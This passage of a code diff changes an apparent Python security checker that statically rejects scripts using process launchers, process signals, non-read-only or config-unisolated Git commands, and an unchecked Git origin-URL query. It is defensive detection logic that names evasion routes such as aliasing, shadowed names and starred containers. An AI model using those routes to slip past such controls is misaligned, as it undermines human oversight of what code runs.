python_value_provenance(node.func, tree, parents): + dotted = python_dotted_name(reference) + paths = receiver_paths(reference, set()) if isinstance(reference, ast.Attribute) else set() + matched = next((path for path in paths if path in attributes), None) + if dotted in attributes or matched is not None: + dotted = matched or dotted + return ( + "Python process launcher stored on a class attribute is not allowed " + f"({dotted!r} resolves to {attributes[dotted]!r}) on line {node.lineno}" + ) return None +unresolved_starred_launcher_container = "__g01_unresolved_starred_launcher_container__" + + def python_call_target(node, modules, functions): """Resolve callable dunder invocation back to its launcher receiver.""" + if python_resolved_name(node, modules, functions) == unresolved_starred_launcher_container: + return "unresolved", python_dotted_name(node) or "launcher-bearing default" + if isinstance(node, ast.Subscript): + resolved_container = python_resolved_name(node.value, modules, functions) + if resolved_container == unresolved_starred_launcher_container: + return "unresolved", python_dotted_name(node.value) or "starred launcher container" if not (isinstance(node, ast.Attribute) and node.attr == "__call__"): return "normal", python_resolved_name(node, modules, functions) receiver = node.value @@ -10199,10 +13612,10 @@ def python_guarded_child_kwargs_violation(tree, modules, functions): return None -def python_command_argument(call): - if call.args: - return call.args[0] - for keyword in call.keywords: +def python_command_argument(call_node): + if call_node.args: + return call_node.args[0] + for keyword in call_node.keywords: if keyword.arg in {"args", "cmd", "command"}: return keyword.value return None @@ -10385,13 +13798,13 @@ def reviewed_python_helper_definition(node, parents): ) if function_node is None: return False - for call in ast.walk(function_node): - if not isinstance(call, ast.Call): + for call_node in ast.walk(function_node): + if not isinstance(call_node, ast.Call): continue - if isinstance(call.func, ast.Name): - calls.add(call.func.id) - elif isinstance(call.func, ast.Attribute): - calls.add(call.func.attr) + if isinstance(call_node.func, ast.Name): + calls.add(call_node.func.id) + elif isinstance(call_node.func, ast.Attribute): + calls.add(call_node.func.attr) return required.issubset(calls) @@ -10615,13 +14028,53 @@ def reviewed_python_signal_target(node, tree, parents, dotted): def python_process_signal_violation(tree, parents): """Reject unowned process signals and broad targets before execution.""" + module_names = { + "os": python_assigned_module_names(tree, "os"), + "signal": python_assigned_module_names(tree, "signal"), + } + aliases = { + alias.asname or alias.name: f"{node.module}.{alias.name}" + for node in ast.walk(tree) + if isinstance(node, ast.ImportFrom) and node.module in module_names + for alias in node.names + if f"{node.module}.{alias.name}" in python_process_signal_functions + } + + def signal_name(value): + if isinstance(value, ast.Name): + return aliases.get(value.id) + if isinstance(value, ast.Attribute) and isinstance(value.value, ast.Name): + for module, names in module_names.items(): + if value.value.id in names: + canonical = module + "." + value.attr + if canonical in python_process_signal_functions: + return canonical + return None + + changed = True + while changed: + changed = False + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Assign): + targets, value = candidate.targets, candidate.value + elif isinstance(candidate, (ast.AnnAssign, ast.NamedExpr)): + targets, value = [candidate.target], candidate.value + else: + continue + canonical = signal_name(value) + if canonical is None: + continue + for target in targets: + if isinstance(target, ast.Name) and aliases.get(target.id) != canonical: + aliases[target.id] = canonical + changed = True for node in ast.walk(tree): if not isinstance(node, ast.Call): continue import_launcher_violation = python_import_launcher_violation(node) if import_launcher_violation: return f"{import_launcher_violation} on line {node.lineno}" - dotted = python_dotted_name(node.func) + dotted = signal_name(node.func) or python_dotted_name(node.func) if dotted not in python_process_signal_functions: continue if reviewed_python_signal_target(node, tree, parents, dotted): @@ -10633,1260 +14086,1897 @@ def python_process_signal_violation(tree, parents): return None -def reviewed_python_git_builder(node): - """Allow only the packet's fixed read-only Git argv builder.""" - if not isinstance(node, ast.Call) or python_dotted_name(node.func) != "git_command": +def reviewed_python_git_builder_definition(tree, name): + """Require the unique module-level builder to clear config and protect Git.""" + definitions = [ + statement for statement in tree.body + if isinstance(statement, (ast.FunctionDef, ast.AsyncFunctionDef)) + and statement.name == name + ] + if len(definitions) != 1: return False - if len(node.args) != 1 or node.keywords: + definition = definitions[0] + if ( + not isinstance(definition, ast.FunctionDef) + or definition.decorator_list + or definition.returns is not None + or getattr(definition, "type_params", ()) + or len(definition.args.args) != 1 + or definition.args.args[0].arg != "arguments" + or definition.args.posonlyargs + or definition.args.kwonlyargs + or definition.args.vararg is not None + or definition.args.kwarg is not None + or definition.args.defaults + or definition.body.__len__() != 1 + or not isinstance(definition.body[0], ast.Return) + or not isinstance(definition.body[0].value, ast.List) + ): return False - arguments = node.args[0] - if not isinstance(arguments, (ast.List, ast.Tuple)) or not arguments.elts: + returned = definition.body[0].value + expected = ( + "/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", + "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", + "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", + "-P", "-c", "core.fsmonitor=false", "-c", + "core.hooksPath=/dev/null", + ) + if len(returned.elts) != len(expected) + 1: return False - first = arguments.elts[0] - return isinstance(first, ast.Constant) and first.value in git_read_only_subcommands - - -def reviewed_python_static_loop_binding(node, tree): - """Recognize literal command loops without granting a marker blanket trust.""" - if not isinstance(node, ast.Name): - return False - for loop in ast.walk(tree): - if not isinstance(loop, ast.For) or not isinstance(loop.target, ast.Name): - continue - if loop.target.id != node.id or not isinstance(loop.iter, (ast.List, ast.Tuple)): - continue - if not loop.iter.elts: - continue - for item in loop.iter.elts: - if not isinstance(item, (ast.List, ast.Tuple)) or not item.elts: - break - first = item.elts[0] - if not isinstance(first, ast.Constant) or first.value not in {"git", "go"}: - break - words = [] - for element in item.elts: - if isinstance(element, ast.Constant) and isinstance(element.value, str): - words.append(element.value) - elif ( - isinstance(element, ast.Call) - and python_dotted_name(element.func) == "str" - and len(element.args) == 1 - and not element.keywords - ): - words.append("") - else: - break - else: - if words[0] == "git" and tuple(words) in { - ("git", "init", "-q"), - ("git", "config", "core.fsmonitor", ""), - }: - continue - if words[0] == "git" and forbidden_command(words) is not None: - break - continue - break - else: - return True - return False + for element, value in zip(returned.elts, expected): + if not isinstance(element, ast.Constant) or element.value != value: + return False + tail = returned.elts[-1] + return ( + isinstance(tail, ast.Starred) + and isinstance(tail.value, ast.Name) + and tail.value.id == "arguments" + ) -def reviewed_python_case_args(node, tree): - """Recognize only the literal case['args'] fixture table.""" - if not isinstance(node, ast.Subscript): - return False - if not isinstance(node.value, ast.Name) or node.value.id != "case": - return False - key = node.slice.value if isinstance(node.slice, ast.Constant) else None - if key != "args": - return False - for loop in ast.walk(tree): - if not ( - isinstance(loop, ast.For) - and isinstance(loop.target, ast.Name) - and loop.target.id == "case" - and isinstance(loop.iter, ast.Name) - and loop.iter.id == "cases" +def reviewed_python_git_name_bound_in_scope(tree, parents, scope, name, allowed_definition=None): + """Find Python binders that could shadow a reviewed Git callable name.""" + for candidate in ast.walk(tree): + if ( + isinstance(candidate, ast.Name) + and candidate.id == name + and isinstance(candidate.ctx, (ast.Store, ast.Del)) + and python_enclosing_scope(candidate, parents) is scope ): - continue - for assignment in ast.walk(tree): - if not isinstance(assignment, ast.Assign): - continue - if not any( - isinstance(target, ast.Name) and target.id == "cases" - for target in assignment.targets + return True + if ( + isinstance(candidate, ast.arg) + and candidate.arg == name + and python_enclosing_scope(candidate, parents) is scope + ): + return True + if isinstance(candidate, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)): + if ( + candidate is not allowed_definition + and candidate.name == name + and python_enclosing_scope(parents.get(candidate), parents) is scope ): - continue - if not isinstance(assignment.value, (ast.List, ast.Tuple)): - continue - entries = assignment.value.elts - if entries and all( - isinstance(entry, ast.Dict) - and any( - isinstance(key_node, ast.Constant) - and key_node.value == "args" - and isinstance(value_node, (ast.List, ast.Tuple)) - and value_node.elts - and isinstance(value_node.elts[0], ast.Constant) - and value_node.elts[0].value == "go" - for key_node, value_node in zip(entry.keys, entry.values) - ) - for entry in entries + return True + if isinstance(candidate, ast.Import) and python_enclosing_scope(candidate, parents) is scope: + if any((alias.asname or alias.name.split(".")[0]) == name for alias in candidate.names): + return True + if isinstance(candidate, ast.ImportFrom) and python_enclosing_scope(candidate, parents) is scope: + if any(alias.name == "*" or (alias.asname or alias.name) == name for alias in candidate.names): + return True + if isinstance(candidate, ast.ExceptHandler) and candidate.name == name: + if python_enclosing_scope(candidate, parents) is scope: + return True + if isinstance(candidate, (ast.MatchAs, ast.MatchStar)) and candidate.name == name: + if python_enclosing_scope(candidate, parents) is scope: + return True + if isinstance(candidate, ast.MatchMapping) and candidate.rest == name: + if python_enclosing_scope(candidate, parents) is scope: + return True + if isinstance(candidate, (ast.Global, ast.Nonlocal)) and name in candidate.names: + declared_scope = python_enclosing_scope(candidate, parents) + if declared_scope is scope: + return True + if isinstance(candidate, ast.Global) and isinstance(scope, ast.Module): + return True + if isinstance(candidate, ast.Nonlocal) and scope in python_lexical_scope_chain( + declared_scope, parents ): return True return False -reviewed_python_dynamic_path_names = { - "module_dir", - "relative_path", - "parent", - "parent_sha", - "parent_head", - "prior_head", - "starting_head", - "packet_path", - "source_path", -} - - -def reviewed_python_dynamic_path_value(node, tree=None, parents=None, seen=None): - """Prove only immutable packet/repository path components in a Git argv.""" - if seen is None: - seen = set() - if id(node) in seen: +def reviewed_python_git_builder_binding(node, tree, parents, name): + """Prove a builder reference reaches its sole unshadowed module definition.""" + if not isinstance(node.func, ast.Name) or node.func.id != name: return False - seen.add(id(node)) - if isinstance(node, ast.Constant): - return isinstance(node.value, str) - if isinstance(node, ast.Name): - if node.id not in reviewed_python_dynamic_path_names: + definitions = [ + statement for statement in tree.body + if isinstance(statement, ast.FunctionDef) and statement.name == name + ] + if len(definitions) != 1: + return False + definition = definitions[0] + for scope in python_lexical_scope_chain(python_enclosing_scope(node, parents), parents): + allowed = definition if scope is tree else None + if reviewed_python_git_name_bound_in_scope(tree, parents, scope, name, allowed): return False - if tree is None or parents is None: - return True - scope = python_enclosing_scope(node, parents) - assignments = [] - for candidate in ast.walk(tree): - if isinstance(candidate, ast.Assign): - targets = candidate.targets - elif isinstance(candidate, ast.AnnAssign): - targets = [candidate.target] - elif isinstance(candidate, ast.NamedExpr): - targets = [candidate.target] - else: - continue - if python_enclosing_scope(candidate, parents) is not scope: - continue - if any( - isinstance(target, ast.Name) and target.id == node.id - for target in targets - ): - assignments.append(candidate.value) - return bool(assignments) and all( - reviewed_python_dynamic_path_value(value, tree, parents, seen.copy()) - for value in assignments - ) - if isinstance(node, ast.JoinedStr): - return all( - isinstance(value, ast.Constant) - or ( - isinstance(value, ast.FormattedValue) - and reviewed_python_dynamic_path_value( - value.value, tree, parents, seen.copy() - ) - ) - for value in node.values - ) - if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Add): - return reviewed_python_dynamic_path_value( - node.left, tree, parents, seen.copy() - ) and reviewed_python_dynamic_path_value( - node.right, tree, parents, seen.copy() - ) - return False + return True -def reviewed_python_dynamic_git_call(argument, tree=None, parents=None): - """Allow only read-only Git argv with reviewed immutable path components.""" - if not isinstance(argument, (ast.List, ast.Tuple)) or len(argument.elts) < 2: +def reviewed_python_git_builder(node, tree, parents): + """Allow only calls to the packet's exact config-isolated Git builders.""" + if not isinstance(node, ast.Call): return False - subcommand_index = 1 - while ( - subcommand_index < len(argument.elts) - and isinstance(argument.elts[subcommand_index], ast.Constant) - and argument.elts[subcommand_index].value in {"-P", "--no-pager"} - ): - subcommand_index += 1 - if subcommand_index >= len(argument.elts): + builder_name = python_dotted_name(node.func) + if builder_name not in {"git_command", "git_query"}: return False - first, second = argument.elts[0], argument.elts[subcommand_index] - if not ( - isinstance(first, ast.Constant) - and first.value == "git" - and isinstance(second, ast.Constant) - and second.value in git_read_only_subcommands + if ( + not reviewed_python_git_builder_definition(tree, builder_name) + or not reviewed_python_git_builder_binding(node, tree, parents, builder_name) ): return False - reconstructed = [] - for element in argument.elts: + if len(node.args) != 1 or node.keywords: + return False + arguments = node.args[0] + if not isinstance(arguments, (ast.List, ast.Tuple)) or not arguments.elts: + return False + first = arguments.elts[0] + if not isinstance(first, ast.Constant) or first.value not in git_read_only_subcommands: + return False + prefix = [ + "/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", + "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", + "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", + "-P", "-c", "core.fsmonitor=false", "-c", + "core.hooksPath=/dev/null", + ] + reconstructed = list(prefix) + for element in arguments.elts: if isinstance(element, ast.Constant) and isinstance(element.value, str): reconstructed.append(element.value) - elif reviewed_python_dynamic_path_value(element, tree, parents): + elif reviewed_python_dynamic_path_value(element, tree): reconstructed.append("__g01_reviewed_dynamic_path__") else: return False - if ( - git_command_delegation(reconstructed) is not None - or git_diff_path_violation(reconstructed) is not None - or git_filter_attribute_violation(reconstructed) is not None - or git_read_only_violation(reconstructed) is not None - ): - return False - return all( - isinstance(element, ast.Constant) - and isinstance(element.value, str) - or reviewed_python_dynamic_path_value(element, tree, parents) - for element in argument.elts[subcommand_index + 1:] + return ( + git_query_environment_violation(reconstructed) is None + and git_command_delegation(reconstructed) is None + and git_diff_path_violation(reconstructed) is None + and git_filter_attribute_violation(reconstructed) is None + and git_read_only_violation(reconstructed) is None ) -def reviewed_python_dynamic_call( - node, argument, tree, parents, literal_bindings, resolved=None -): - """Allow explicit packet-owned forwarding, never a marker by itself.""" - if ( - isinstance(argument, (ast.List, ast.Tuple)) - and len(argument.elts) == 4 - and isinstance(argument.elts[0], ast.Attribute) - and python_dotted_name(argument.elts[0]) == "sys.executable" - and isinstance(argument.elts[1], ast.Constant) - and argument.elts[1].value == "-I" - and isinstance(argument.elts[2], ast.Constant) - and argument.elts[2].value == "-c" - and isinstance(argument.elts[3], ast.Constant) - and argument.elts[3].value == "import json; print(json.__file__)" - ): - return True - if reviewed_python_git_builder(argument): - return True - if reviewed_python_case_args(argument, tree): - return True - if reviewed_python_static_loop_binding(argument, tree): - return True - if isinstance(argument, (ast.List, ast.Tuple)): - prefix = [] - for element in argument.elts: - if not isinstance(element, ast.Constant) or not isinstance(element.value, str): - break - prefix.append(element.value) - if reviewed_python_synthetic_git_fixture(node, prefix, tree, parents): - return True - if reviewed_python_dynamic_git_call(argument, tree, parents): - return True - if isinstance(argument, ast.Name) and argument.id in literal_bindings: - return True - function_name = enclosing_python_function(node, parents) - if function_name not in reviewed_dynamic_function_names: - return False - if not reviewed_python_helper_definition(node, parents): +def reviewed_python_git_argv_name_has_no_escape(node, tree, parents, scope): + """Allow the list only at a process argv slot; reject mutation and aliasing.""" + if not isinstance(node, ast.Name): return False - if not reviewed_python_helper_launcher(node, parents): + stores = [] + has_parameter = False + for candidate in ast.walk(tree): + if isinstance(candidate, ast.arg) and candidate.arg == node.id: + candidate_scope = python_enclosing_scope(candidate, parents) + if candidate_scope is scope: + has_parameter = True + continue + if not isinstance(candidate, ast.Name) or candidate.id != node.id: + continue + candidate_scope = python_enclosing_scope(candidate, parents) + if candidate_scope is not scope: + if scope in python_lexical_scope_chain(candidate_scope, parents): + if any( + isinstance(declaration, (ast.Global, ast.Nonlocal)) + and node.id in declaration.names + and python_enclosing_scope(declaration, parents) is candidate_scope + for declaration in ast.walk(candidate_scope) + ): + return False + if not reviewed_python_git_name_bound_in_scope( + tree, parents, candidate_scope, node.id + ): + return False + continue + if isinstance(candidate.ctx, ast.Store): + parent = parents.get(candidate) + direct_assignment = ( + isinstance(parent, ast.Assign) + and len(parent.targets) == 1 + and candidate in parent.targets + or isinstance(parent, ast.AnnAssign) + and parent.target is candidate + or isinstance(parent, ast.NamedExpr) + and parent.target is candidate + ) + if not direct_assignment: + return False + stores.append(candidate) + continue + if isinstance(candidate.ctx, ast.Load): + parent = parents.get(candidate) + if not ( + isinstance(parent, ast.Call) + and parent.args + and parent.args[0] is candidate + and python_dotted_name(parent.func) in python_command_functions + ): + return False + continue return False - if isinstance(argument, ast.Starred): - argument = argument.value - if isinstance(argument, ast.Name): - return argument.id in reviewed_python_helper_allowed_argv.get(function_name, set()) - return False + return len(stores) <= 1 and not (has_parameter and stores) -reviewed_synthetic_git_fixture_argv = { - ("git", "init", "-q"), - ("git", "status", "--porcelain=v1"), - ("git", "add", "source.go"), - ("git", "add", "experiments/g01-scaleset/source.go"), - ( - "git", - "-c", - "user.name=probe", - "-c", - "user.email=probe@example.invalid", - "commit", - "-q", - "-m", - "source", - ), - ( - "git", - "update-index", - "--no-skip-worktree", - "--no-assume-unchanged", - "source.go", - ), - ( - "git", - "update-index", - "--no-skip-worktree", - "--no-assume-unchanged", - "experiments/g01-scaleset/source.go", - ), -} +def reviewed_python_git_command_origin(node, tree, parents, seen=None): + """Trace a child argv only through unique bindings to the canonical builder.""" + if seen is None: + seen = set() + if id(node) in seen: + return False + seen = seen | {id(node)} + if isinstance(node, ast.Call): + return reviewed_python_git_builder(node, tree, parents) + if not isinstance(node, ast.Name): + return False + scope = python_enclosing_scope(node, parents) + if not reviewed_python_git_argv_name_has_no_escape(node, tree, parents, scope): + return False + assignments = [] + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Assign): + targets, value = candidate.targets, candidate.value + elif isinstance(candidate, (ast.AnnAssign, ast.NamedExpr)): + targets, value = [candidate.target], candidate.value + else: + continue + if python_enclosing_scope(candidate, parents) is scope and any( + isinstance(target, ast.Name) and target.id == node.id for target in targets + ): + assignments.append(value) + if assignments: + return len(assignments) == 1 and reviewed_python_git_command_origin( + assignments[0], tree, parents, seen + ) + if not isinstance(scope, (ast.FunctionDef, ast.AsyncFunctionDef)): + return False + parameters = ( + list(scope.args.posonlyargs) + list(scope.args.args) + list(scope.args.kwonlyargs) + ) + parameter_index = next( + (index for index, parameter in enumerate(parameters) if parameter.arg == node.id), + None, + ) + if parameter_index is None or id(scope) in seen: + return False + callers = [ + candidate for candidate in ast.walk(tree) + if isinstance(candidate, ast.Call) + and python_dotted_name(candidate.func) == scope.name + ] + if not callers: + return False + for caller in callers: + keywords = [keyword.value for keyword in caller.keywords if keyword.arg == node.id] + if len(keywords) > 1: + return False + if keywords: + argument = keywords[0] + elif parameter_index < len(caller.args) and not any( + isinstance(value, ast.Starred) for value in caller.args + ): + argument = caller.args[parameter_index] + else: + return False + if not reviewed_python_git_command_origin( + argument, tree, parents, seen | {id(scope)} + ): + return False + return True -def temporary_directory_call(node): - """Recognize the reviewed literal TemporaryDirectory constructor forms.""" - if not isinstance(node, ast.Call) or node.args or node.keywords: - return False - dotted = python_dotted_name(node.func) - if dotted in {"tempfile.TemporaryDirectory", "TemporaryDirectory"}: - return True - return ( - isinstance(node.func, ast.Attribute) - and node.func.attr == "TemporaryDirectory" - and isinstance(node.func.value, ast.Call) - and isinstance(node.func.value.func, ast.Name) - and node.func.value.func.id == "__import__" - and len(node.func.value.args) == 1 - and isinstance(node.func.value.args[0], ast.Constant) - and node.func.value.args[0].value == "tempfile" - and not node.func.value.keywords +def reviewed_python_git_child_environment(node, tree, parents): + """Require a known Git argv and the reviewed child environment together.""" + environments = [keyword.value for keyword in node.keywords if keyword.arg == "env"] + return len(environments) == 1 and ( + python_environment_mapping_state(environments[0], tree, parents=parents) == "safe" + and python_git_environment_isolated(environments[0], tree, parents) ) -def temporary_directory_binding(node, parents): - """Return the local binding only inside a literal TemporaryDirectory block.""" - parent = parents.get(node) - while parent is not None: - if isinstance(parent, (ast.With, ast.AsyncWith)): - for item in parent.items: - context = item.context_expr - if not ( - temporary_directory_call(context) - and isinstance(item.optional_vars, ast.Name) - ): - continue - return item.optional_vars.id - parent = parents.get(parent) - return None +def reviewed_python_git_sensitive_output(node, tree, parents, seen=None): + """Trace a certified Git argv far enough to guard raw origin-URL output.""" + if seen is None: + seen = set() + if id(node) in seen: + return True + seen = seen | {id(node)} + if isinstance(node, ast.Call): + if python_dotted_name(node.func) not in {"git_command", "git_query"}: + return False + if not reviewed_python_git_builder(node, tree, parents): + return True + arguments = node.args[0] + tokens = [] + for element in arguments.elts: + if isinstance(element, ast.Constant) and isinstance(element.value, str): + tokens.append(element.value) + elif reviewed_python_dynamic_path_value(element, tree): + tokens.append("__g01_reviewed_dynamic_path__") + else: + return True + return git_sensitive_shell_output_violation(["git", *tokens]) is not None + if not isinstance(node, ast.Name): + return True + scope = python_enclosing_scope(node, parents) + assignments = [] + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Assign): + targets, value = candidate.targets, candidate.value + elif isinstance(candidate, (ast.AnnAssign, ast.NamedExpr)): + targets, value = [candidate.target], candidate.value + else: + continue + if python_enclosing_scope(candidate, parents) is scope and any( + isinstance(target, ast.Name) and target.id == node.id for target in targets + ): + assignments.append(value) + if assignments: + return len(assignments) != 1 or reviewed_python_git_sensitive_output( + assignments[0], tree, parents, seen + ) + if not isinstance(scope, (ast.FunctionDef, ast.AsyncFunctionDef)): + return True + parameters = ( + list(scope.args.posonlyargs) + list(scope.args.args) + list(scope.args.kwonlyargs) + ) + parameter_index = next( + (index for index, parameter in enumerate(parameters) if parameter.arg == node.id), + None, + ) + if parameter_index is None or id(scope) in seen: + return True + callers = [ + candidate for candidate in ast.walk(tree) + if isinstance(candidate, ast.Call) + and python_dotted_name(candidate.func) == scope.name + ] + if not callers: + return True + for caller in callers: + keywords = [keyword.value for keyword in caller.keywords if keyword.arg == node.id] + if len(keywords) > 1: + return True + if keywords: + argument = keywords[0] + elif parameter_index < len(caller.args) and not any( + isinstance(value, ast.Starred) for value in caller.args + ): + argument = caller.args[parameter_index] + else: + return True + if reviewed_python_git_sensitive_output(argument, tree, parents, seen): + return True + return False -def temporary_directory_bindings(node, tree, parents): - """Resolve only direct Path aliases of the active TemporaryDirectory binding.""" - binding = temporary_directory_binding(node, parents) - bindings = {binding} if binding is not None else set() - changed = True - while changed: - changed = False - for candidate in ast.walk(tree): - if temporary_directory_binding(candidate, parents) != binding: - continue - if not isinstance(candidate, ast.Assign): - continue - value = candidate.value - source = None - if isinstance(value, ast.Name): - source = value.id - elif ( - isinstance(value, ast.Call) - and python_dotted_name(value.func) in {"Path", "pathlib.Path"} - and len(value.args) == 1 - and not value.keywords - and isinstance(value.args[0], ast.Name) - ): - source = value.args[0].id - if source not in bindings: - continue - for target in candidate.targets: - if isinstance(target, ast.Name) and target.id not in bindings: - bindings.add(target.id) - changed = True - return bindings +def reviewed_python_git_origin_query_results(tree, parents): + """Find bounded results of the exact sensitive Git origin query.""" + result_bindings = [] + for candidate in ast.walk(tree): + if not isinstance(candidate, ast.Assign) or len(candidate.targets) != 1: + continue + target = candidate.targets[0] + value = candidate.value + if ( + isinstance(target, ast.Name) + and isinstance(value, ast.Call) + and python_dotted_name(value.func) == "run_bounded_git_query" + and value.args + and isinstance(value.args[0], ast.Call) + and python_dotted_name(value.args[0].func) in {"git_query", "git_command"} + and reviewed_python_git_builder(value.args[0], tree, parents) + and value.args[0].args + and isinstance(value.args[0].args[0], (ast.List, ast.Tuple)) + and all( + isinstance(argument, ast.Constant) + and isinstance(argument.value, str) + for argument in value.args[0].args[0].elts + ) + and [ + argument.value for argument in value.args[0].args[0].elts + ] == ["config", "--local", "--get-all", "remote.origin.url"] + ): + result_bindings.append((target.id, candidate)) + return result_bindings -def temporary_path_component_safe(value): - """Reject absolute and parent-traversing path components conservatively.""" - if not isinstance(value, str) or value.startswith("/"): +def reviewed_python_git_origin_capture_is_compared(tree, parents): + """Certify the one bounded origin query only while its literal check is intact.""" + result_bindings = reviewed_python_git_origin_query_results(tree, parents) + if len(result_bindings) != 1: return False - normalized = value.replace("\\", "/") - return ".." not in normalized.split("/") + result_name, result_assignment = result_bindings[0] + result_target_nodes = [ + candidate + for candidate in ast.walk(tree) + if isinstance(candidate, ast.Name) + and candidate.id == result_name + and isinstance(candidate.ctx, ast.Store) + ] + if ( + len(result_target_nodes) != 1 + or parents.get(result_target_nodes[0]) is not result_assignment + ): + return False + expected_assignments = [ + candidate + for candidate in tree.body + if isinstance(candidate, ast.Assign) + and len(candidate.targets) == 1 + and isinstance(candidate.targets[0], ast.Name) + and candidate.targets[0].id == "expected_origin_url" + and isinstance(candidate.value, ast.Constant) + and isinstance(candidate.value.value, str) + and candidate.value.value == "https://github.com/1XP-AI/gh-runnerd.git" + ] + if len(expected_assignments) != 1: + return False + expected_targets = [ + candidate + for candidate in ast.walk(tree) + if isinstance(candidate, ast.Name) + and candidate.id == "expected_origin_url" + and isinstance(candidate.ctx, ast.Store) + ] + if ( + len(expected_targets) != 1 + or parents.get(expected_targets[0]) is not expected_assignments[0] + ): + return False + status_attributes = [] + stdout_attributes = [] + result_loads = [ + candidate + for candidate in ast.walk(tree) + if isinstance(candidate, ast.Name) + and candidate.id == result_name + and isinstance(candidate.ctx, ast.Load) + ] + for candidate in ast.walk(tree): + if ( + isinstance(candidate, ast.Attribute) + and isinstance(candidate.value, ast.Name) + and candidate.value.id == result_name + ): + if candidate.attr in {"returncode", "stderr"}: + status_attributes.append(candidate) + elif candidate.attr == "stdout": + stdout_attributes.append(candidate) + if len(status_attributes) != 2 or len(stdout_attributes) != 1: + return False + if any( + parents.get(candidate) is not attribute + for candidate in result_loads + for attribute in status_attributes + stdout_attributes + if attribute.value is candidate + ) or len(result_loads) != 3: + return False + stdout = stdout_attributes[0] + decode_attribute = parents.get(stdout) + decode = ( + parents.get(decode_attribute) + if isinstance(decode_attribute, ast.Attribute) + else None + ) + splitlines_attribute = parents.get(decode) + splitlines = ( + parents.get(splitlines_attribute) + if isinstance(splitlines_attribute, ast.Attribute) + else None + ) + origin_assignment = parents.get(splitlines) if isinstance(splitlines, ast.Call) else None + if not ( + isinstance(decode_attribute, ast.Attribute) + and decode_attribute.attr == "decode" + and python_dotted_name(decode_attribute) == result_name + ".stdout.decode" + and isinstance(decode, ast.Call) + and decode.func is decode_attribute + and len(decode.args) == 1 + and isinstance(decode.args[0], ast.Constant) + and decode.args[0].value == "utf-8" + and isinstance(splitlines_attribute, ast.Attribute) + and splitlines_attribute.attr == "splitlines" + and splitlines_attribute.value is decode + and isinstance(splitlines, ast.Call) + and splitlines.func is splitlines_attribute + and isinstance(origin_assignment, ast.Assign) + and origin_assignment in tree.body + and len(origin_assignment.targets) == 1 + and isinstance(origin_assignment.targets[0], ast.Name) + and origin_assignment.targets[0].id == "origin_urls" + ): + return False + status_checks = [ + candidate + for candidate in tree.body + if isinstance(candidate, ast.If) + and isinstance(candidate.test, ast.BoolOp) + and isinstance(candidate.test.op, ast.Or) + and len(candidate.test.values) == 2 + and any( + isinstance(value, ast.Compare) + and isinstance(value.left, ast.Attribute) + and isinstance(value.left.value, ast.Name) + and value.left.value.id == result_name + and value.left.attr == "returncode" + and len(value.ops) == 1 + and isinstance(value.ops[0], ast.NotEq) + and len(value.comparators) == 1 + and isinstance(value.comparators[0], ast.Constant) + and isinstance(value.comparators[0].value, int) + and not isinstance(value.comparators[0].value, bool) + and value.comparators[0].value == 0 + for value in candidate.test.values + ) + and any( + isinstance(value, ast.Attribute) + and isinstance(value.value, ast.Name) + and value.value.id == result_name + and value.attr == "stderr" + for value in candidate.test.values + ) + and any(isinstance(item, ast.Raise) for item in candidate.body) + ] + origin_targets = [ + candidate + for candidate in ast.walk(tree) + if isinstance(candidate, ast.Name) + and candidate.id == "origin_urls" + and isinstance(candidate.ctx, ast.Store) + ] + if ( + len(status_checks) != 1 + or len(origin_targets) != 1 + or parents.get(origin_targets[0]) is not origin_assignment + ): + return False + origin_name_loads = [ + candidate + for candidate in ast.walk(tree) + if isinstance(candidate, ast.Name) + and candidate.id == "origin_urls" + and isinstance(candidate.ctx, ast.Load) + ] + checks = [ + candidate + for candidate in tree.body + if isinstance(candidate, ast.If) + and isinstance(candidate.test, ast.Compare) + and isinstance(candidate.test.left, ast.Name) + and candidate.test.left.id == "origin_urls" + and len(candidate.test.ops) == 1 + and isinstance(candidate.test.ops[0], ast.NotEq) + and len(candidate.test.comparators) == 1 + and isinstance(candidate.test.comparators[0], ast.List) + and len(candidate.test.comparators[0].elts) == 1 + and isinstance(candidate.test.comparators[0].elts[0], ast.Name) + and candidate.test.comparators[0].elts[0].id == "expected_origin_url" + and any(isinstance(item, ast.Raise) for item in candidate.body) + ] + return ( + len(origin_name_loads) == 1 + and len(checks) == 1 + and result_assignment in tree.body + and tree.body.index(result_assignment) < tree.body.index(origin_assignment) + and tree.body.index(result_assignment) < tree.body.index(status_checks[0]) + and tree.body.index(status_checks[0]) < tree.body.index(origin_assignment) + and tree.body.index(origin_assignment) < tree.body.index(checks[0]) + ) -def reviewed_source_snapshot_path(node, tree, parents, seen=None): - """Prove paths belong to the wrapper's private immutable source snapshot.""" - if seen is None: - seen = set() - if node is None or id(node) in seen: +def python_git_origin_capture_violation(tree, parents): + """Refuse the bounded origin exception if its output is exposed or unchecked.""" + if not reviewed_python_git_origin_query_results(tree, parents): + return None + if reviewed_python_git_origin_capture_is_compared(tree, parents): + return None + return "Python bounded Git origin output is not compared or escapes its verifier" + + +def reviewed_python_git_query_output_budget(tree, parents, runner): + """Prove the collector limit comes from one of the packet's finite caps.""" + limit_names = { + "git_query_output_max_bytes", + "git_query_packet_blob_output_max_bytes", + } + chunk_name = "git_query_stream_chunk_bytes" + constant_names = limit_names | {chunk_name} + + def positive_integer(node): + if isinstance(node, ast.Constant): + return node.value if isinstance(node.value, int) and not isinstance(node.value, bool) and node.value > 0 else None + if isinstance(node, ast.BinOp) and isinstance(node.op, (ast.Add, ast.Mult)): + left = positive_integer(node.left) + right = positive_integer(node.right) + if left is not None and right is not None: + return left + right if isinstance(node.op, ast.Add) else left * right + return None + + definitions = {} + for statement in tree.body: + if not isinstance(statement, ast.Assign) or len(statement.targets) != 1: + continue + target = statement.targets[0] + if isinstance(target, ast.Name) and target.id in constant_names: + if target.id in definitions: + return False + definitions[target.id] = statement.value + if set(definitions) != constant_names or any( + positive_integer(value) is None for value in definitions.values() + ): return False - seen.add(id(node)) - current = node - while current is not None and not isinstance( - current, (ast.FunctionDef, 